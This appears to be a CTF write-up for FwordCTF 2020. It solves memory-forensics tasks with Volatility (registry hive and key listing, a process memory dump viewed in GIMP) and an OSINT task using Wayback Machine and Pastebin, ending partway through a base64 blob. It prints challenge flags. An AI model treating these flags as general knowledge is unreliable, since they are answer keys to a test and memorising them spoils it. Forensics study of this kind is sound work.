> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks but as usual I found the flag of the next task `Memory 5` before finding the flag of the actual task `Memory 4`.
And when I wanted to understand what does that mean `weird place`, if this can't be the processes that we already worked on and that could be related to geeks, I thought about the user's registry keys.
So, I get back to the following command.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:
```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
And since we know that the user that we are investigating is `SBA_AK`, we have two file paths that we have might need to check: `\??\C:\Users\SBA_AK\ntuser.dat` or/and `\??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat`.
I started with the first one and I used its virtual offset in the volatility command to list the registry keys.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: CMI-CreateHive{D43B12B8-09B5-40DB-B4F6-F6DFEB78DAEC} (S)Last updated: 2020-08-26 09:11:20 UTC+0000
Subkeys: (S) AppEvents (S) Console (S) Control Panel (S) Environment (S) EUDC (S) FLAG (S) Identities (S) Keyboard Layout (S) Network (S) Printers (S) Software (S) System (V) Volatile Environment
Values:```
And that's how I soptted the subkey `FLAG` that might contain the flag.
Then, I printed its value.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410 -K "FLAG"```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: FLAG (S)Last updated: 2020-08-25 18:45:05 UTC+0000
Subkeys:
Values:REG_SZ : (S) FwordCTF{hiding_secrets_in_regs}```
So, the flag is ```FwordCTF{hiding_secrets_in_regs}```.___
## Memory 5
**Category:** Forensics**Points:** 495**Author:** SemahBA & KOOLI**Description:**
> I'm an artist too, i love painting. I always paint in these dimensions 600x300
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
Since I solved this task `Memory 5` before solving the `Memory 4` task, I didn't have the chance to read its description because the task `Memory 5` will not be visible unless I solve the `Memory 4` task.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks.
```volatility -f foren.raw --profile=Win7SP0x64 pslist```
Output:
```Volatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8018da8040 System 4 0 103 585 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa8019ebdb00 smss.exe 264 4 2 32 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa801a738060 csrss.exe 356 348 10 459 0 0 2020-08-26 09:10:26 UTC+00000xfffffa801a74db00 wininit.exe 388 348 3 84 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a72fa00 csrss.exe 404 380 9 384 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a763930 winlogon.exe 448 380 5 122 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a74e7e0 services.exe 488 388 8 232 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a5f3b00 lsass.exe 496 388 10 752 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a79a550 lsm.exe 504 388 10 147 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9bb060 svchost.exe 600 488 11 367 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9e6b00 svchost.exe 680 488 8 298 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9ecb00 svchost.exe 756 488 23 588 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa34b00 svchost.exe 808 488 26 533 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa4a860 svchost.exe 864 488 22 574 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa64510 svchost.exe 900 488 38 1047 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa879b0 audiodg.exe 968 756 8 148 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801aab6410 TrustedInstall 1020 488 5 147 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801ab66b00 svchost.exe 1096 488 16 480 0 0 2020-08-26 09:10:29 UTC+00000xfffffa8018e10b00 spoolsv.exe 1212 488 14 299 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801abff060 svchost.exe 1240 488 18 311 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801ab61b00 svchost.exe 1336 488 10 147 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ac9bb00 svchost.exe 1388 488 22 340 0 0 2020-08-26 09:10:30 UTC+00000xfffffa8018e4f4f0 svchost.exe 1748 488 7 104 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ae2e060 sppsvc.exe 1360 488 4 151 0 0 2020-08-26 09:10:34 UTC+00000xfffffa801aecf5f0 taskhost.exe 2036 488 10 234 1 0 2020-08-26 09:11:20 UTC+00000xfffffa8019f45870 dwm.exe 1604 808 3 80 1 0 2020-08-26 09:11:20 UTC+00000xfffffa801af105c0 explorer.exe 1000 1332 31 896 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b01d480 FAHWindow64.ex 2252 2240 2 77 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b024780 WzPreloader.ex 2264 1000 6 123 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801aec4480 SearchIndexer. 2644 488 13 711 0 0 2020-08-26 09:11:27 UTC+00000xfffffa801b20fb00 wmpnetwk.exe 2768 488 14 494 0 0 2020-08-26 09:11:28 UTC+00000xfffffa801b3211e0 svchost.exe 2996 488 10 366 0 0 2020-08-26 09:11:29 UTC+00000xfffffa801a5f95f0 WmiPrvSE.exe 952 600 5 120 0 0 2020-08-26 09:11:30 UTC+00000xfffffa801a976b00 mscorsvw.exe 4012 488 6 93 0 1 2020-08-26 09:12:30 UTC+00000xfffffa801ae824b0 mscorsvw.exe 4052 488 6 83 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aaba450 svchost.exe 3308 488 14 339 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aca4060 chrome.exe 3700 1000 33 986 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801ab9c750 chrome.exe 3752 3700 8 93 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801af86b00 chrome.exe 2560 3700 13 337 1 0 2020-08-26 09:12:48 UTC+00000xfffffa8018e55b00 chrome.exe 3304 3700 8 231 1 0 2020-08-26 09:12:50 UTC+00000xfffffa8019a5b360 chrome.exe 3528 3700 11 209 1 0 2020-08-26 09:12:55 UTC+00000xfffffa8019b2ab00 chrome.exe 616 3700 26 332 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b5b5f0 chrome.exe 540 3700 13 171 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b60060 chrome.exe 3816 3700 13 195 1 0 2020-08-26 09:13:22 UTC+00000xfffffa8019b6fb00 chrome.exe 2516 3700 17 294 1 0 2020-08-26 09:13:32 UTC+00000xfffffa8019ac0640 chrome.exe 3992 3700 14 216 1 0 2020-08-26 09:13:33 UTC+00000xfffffa8019bf2060 wuauclt.exe 1876 900 3 98 1 0 2020-08-26 09:13:33 UTC+00000xfffffa801adeaa40 mspaint.exe 1044 1000 7 133 1 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bc0b00 svchost.exe 3284 488 7 110 0 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bf7060 DumpIt.exe 1764 1000 2 52 1 1 2020-08-26 09:22:18 UTC+00000xfffffa801b2ad060 conhost.exe 2592 404 2 56 1 0 2020-08-26 09:22:18 UTC+0000```
And I found that the only process that we didn't already checked and that was executed later was `mspaint.exe` (Paint).
Now, coming back to the reality, the task description was mentioning the Paint tool.
And the challenge that I tried to solve is more difficult because without the task's description, I didn't have the image's dimensions.
I have the process name and the process ID that I have to work on in order to extract the painted image from the memory that contain the flag.
I followed this write-up to do that: [Google CTF 2016 β Forensic βFor1β Write-up](https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/).
And the first step that I needed to do was to extract the memory dump for that specific process.
```volatility -f foren.raw --profile=Win7SP0x64 memdump -p 1044 -D /tmp```
The extracted memory dump file will be located on `/tmp/1044.dmp`.
And as pointed in the mentioned write-up, we have to download Gimp, to rename the file from 1044.dmp to 1044.data and to open it using Gimp.
The extracted file 1044.dmp was bigger than the memory dump and I still can't explain why we see such behavior when we dump the process in a separate file.
And as I said, when I solved this task, I didn''t have the image's dimensions and when I opened the 1044.data file using Gimp, I had 3 parameters to change: the offset, the width and the height.
But I found that the height parameter is not really important because we only need to change the width because as I understood, the width will limit the number of pixels per line and if the width is incorrect, all the lines after the first line will be shifted and that will avoid us to see the image because every next line will be also shifted from the previous line.
The first time, I tried to work with a larger width because I was saying that I will see the whole picture when the windows is larger but this is not always correct.
The offset is used to scroll the image between the left and the right by shifting or popping the pixels in the view (from the beginning first index and the last index of the array).
This makes the width more important than the offset.
So, if we have the correct width, we can clearly find the painted image only by changing the offset because we will be scrolling the memory dump until we get to the painted image since the memory dump must contain the data of that process and Paint's data is an image.
The only thing that made me lucky in this task is, I though that we have to guess the image dimensions that that will not be difficult. So, I supposed that the painted image will be square shaped. And when I used a larger width and I changed the offset from the min to the max and I didn't find any interesting thing, I reduced the width until 350 or 400. And I changed again the offset from the minimum to the maximum until I found an interesting blank image that contains some random lines. Then, I changed the width and the height to make the image square (but as I said, changing the height will not be useful since the image can be visible with a wrong height) until I found an interesting image with a width equals to 300 but the image was still not clear. So, I changed the width from 100, 200, 300, 400, 500, 600 and Bingo! the width was 600. And the image is still clear with a width proportional to 600 (like 1200, 1800, 2400).
Then, I took a screenshot on that image and I rotated it to see the flag clearly.
So, the flag is ```FwordCTF{Paint_Skills_FTW!}```.
___
# Scoreboard
After solving all these tasks in a team of two players (the third team member had an issue and was not able to join the party), our team **[S3c5murf](https://ctftime.org/team/63808)** get the score 3277 and get ranked 67/360 out of the teams that had a score greater than 0 :
......
...
...
|
# FwordCTF 2020 WriteupThis repository serves as a writeup for FwordCTF 2020 solved by [S3c5murf](https://ctftime.org/team/63808)'s team
## Identity Fraud
**Category:** OSINT**Points:** 419**Author:** Cyb3rDoctor**Description:**
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
> Flag Format: Eword{}
**Hint:**
>(no hint)
### Write-up
I got to the Twitter profile [@1337bloggs](https://twitter.com/1337bloggs/with_replies). And I found the [retweeted](https://twitter.com/EwordTeam/status/1297957636026126339) tweet there.
[@EwordTeam](https://twitter.com/EwordTeam) recommended the user to visit their ctftime's team profile to continue working on this task.
It's possible to search the team Eword in the [Rating page](https://ctftime.org/stats/) on ctftime.org. And 'Eword' is the team name that we are looking for because [@EwordTeam](https://twitter.com/EwordTeam) shared their ctftime's team profile link in their Twitter's profile description.
And this is the team profile: [https://ctftime.org/team/131587](https://ctftime.org/team/131587)
But, as [@EwordTeam](https://twitter.com/EwordTeam) mentioned, it looks like the description was removed from there.
The first thing I thought about was [Wayback Machine](https://archive.org/web/).
I pasted the URL `https://ctftime.org/team/131587` and I found that link was indexed on 26/08/2020 and 27/08/2020 which is 2 days before the starting of the CTF.
Then, I choosed the indexed page from 27/08/2020: [archive](https://web.archive.org/web/20200827114614/https://ctftime.org/team/131587)
And that's how we found an extra link from Pastebin: [https://pastebin.com/8bk9qLX1](https://pastebin.com/8bk9qLX1)
I accessed that link.
So, the real task started and we should find the leader of Eword by following the hint provided in the second Pastebin link: [https://pastebin.com/PZvaSjA0](https://pastebin.com/PZvaSjA0)
As we can see, that link provided a Base64 encoded string. I was saying this is most likely a file but what type of file is this ? And the best way to know that is to decode the Base64 encoded string and to set it into a file and then we use the command `file` to identify what type of file is that:
```echo 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